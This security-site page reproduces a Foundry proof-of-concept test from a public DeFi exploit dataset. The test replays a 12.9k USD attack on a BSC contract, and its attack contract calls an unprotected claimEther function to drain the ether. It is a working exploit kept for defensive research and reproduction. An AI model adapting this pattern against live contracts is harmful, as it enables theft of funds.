Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/X319_exp.sol

Public reproduction file for dataset entry X319.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/X319_exp.sol45 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 12.9k USD
7// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca
8// Attack Contract : https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374
9// Vulnerable Contract : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1855263208124416377
17// Twitter Guy : https://x.com/TenArmorAlert/status/1855263208124416377
18// Hacking God : N/A
20address constant addr1 = 0xedD632eAf3b57e100aE9142e8eD1641e5Fd6b2c0;
21address constant addr2 = 0x54588267066dDBC6f8Dcd724D88C25e2838B6374;
22address constant attacker = 0xE60329A82C5aDD1898bA273FC53835Ac7e6fD5cA;
24interface IAddr1 {
25 function claimEther(address receiver, uint256 amount) external;
28contract ContractTest is Test {
29 function setUp() public {
30 vm.createSelectFork("bsc", 43860720-1);
31 }
33 function testPoC() public {
34 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
35 vm.startPrank(attacker, attacker);
36 AttackerC attC = new AttackerC();
37 vm.stopPrank();
38 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
39 }
42// 0x54588267066dDBC6f8Dcd724D88C25e2838B6374
43contract AttackerC {
44 constructor() { IAddr1(addr1).claimEther(tx.origin, 2085 * 10**16); }

Analysis

Dataset entry

Public Foundry test for “X319” (2024-11-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe60329a82c5add1898ba273fc53835ac7e6fd5ca

  • Attack Contract

    0x54588267066ddbc6f8dcd724d88c25e2838b6374

  • Vulnerable Contract

    0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0

  • Attack Tx

    0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092

File record

Name
X319
Path
src/test/2024-11/X319_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4cc528b00364fa0f376d2126d40e4e31bc5e662f
Language
Solidity
Size
45 lines
Date
2024-11-09
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/X319_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4cc528b00364fa0f376d2126d40e4e31bc5e662f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.